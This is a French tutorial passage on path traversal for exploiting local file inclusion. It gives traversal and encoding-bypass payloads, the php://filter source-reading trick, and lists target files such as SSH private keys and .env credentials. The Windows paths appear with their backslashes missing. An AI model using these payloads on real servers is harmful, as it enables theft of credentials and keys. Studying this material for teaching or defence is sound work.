3. Traversée de répertoires et lecture de fichiers sensibles

La traversée de répertoires (path traversal) est la technique de base pour exploiter une LFI. Nous allons approfondir les méthodes de traversée, les encodages pour bypasser les filtres simples, et identifier les fichiers les plus sensibles.

Principe de la traversée de répertoires

La séquence ../ remonte d’un niveau dans l’arborescence. En chaînant plusieurs ../, on peut remonter jusqu’à la racine du système.

# Pour atteindre /etc/passwd depuis /var/www/html/pages/
../../../../etc/passwd
# Soit : /var/www/html/pages/ + ../../../../ + etc/passwd = /etc/passwd

Nombre de ../ nécessaires

En PHP, ../ en excès depuis la racine reste à la racine. On peut donc utiliser un grand nombre de ../ sans risque d’erreur :

../../../../../../../../../../etc/passwd  # Fonctionne toujours

Encodages pour bypasser les filtres

Encodage URL

../       ->  %2e%2e%2f   (encodage standard)
../       ->  ..%2f        (slash encodé seulement)
../       ->  %2e%2e/      (points encodés seulement)

Double encodage

%2e  ->  %252e  (le % est lui-même encodé en %25)
../  ->  %252e%252e%252f

Séquences alternatives

....//     # après suppression de ../ on obtient ../
..././     # équivalent à ../

Fichiers cibles sous Linux

# Informations système
/etc/passwd           /etc/group            /etc/hostname
/proc/version         /proc/self/environ    /proc/self/status

# Config web
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/var/www/html/wp-config.php
/var/www/html/.env

# Clés SSH
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa

Fichiers cibles sous Windows

C:Windowswin.ini
C:WindowsSystem32driversetchosts
C:xamppphpphp.ini
C:UsersAdministratorDesktopflag.txt  # Présent en CTF

Lecture encodée avec php://filter

Pour lire le code source PHP sans l’exécuter, utilisez le wrapper php://filter :

?page=php://filter/convert.base64-encode/resource=config
# Retourne config.php encodé en base64
# Décoder : echo "base64string" | base64 -d
Points clés :

  • Utiliser de nombreux ../ est sûr — on reste à la racine si on dépasse
  • Encodage URL et double encodage bypassent les filtres naïfs
  • php://filter/convert.base64-encode/resource= lit le code source PHP sans l’exécuter
SEE ALL Add a note
YOU
Add your Comment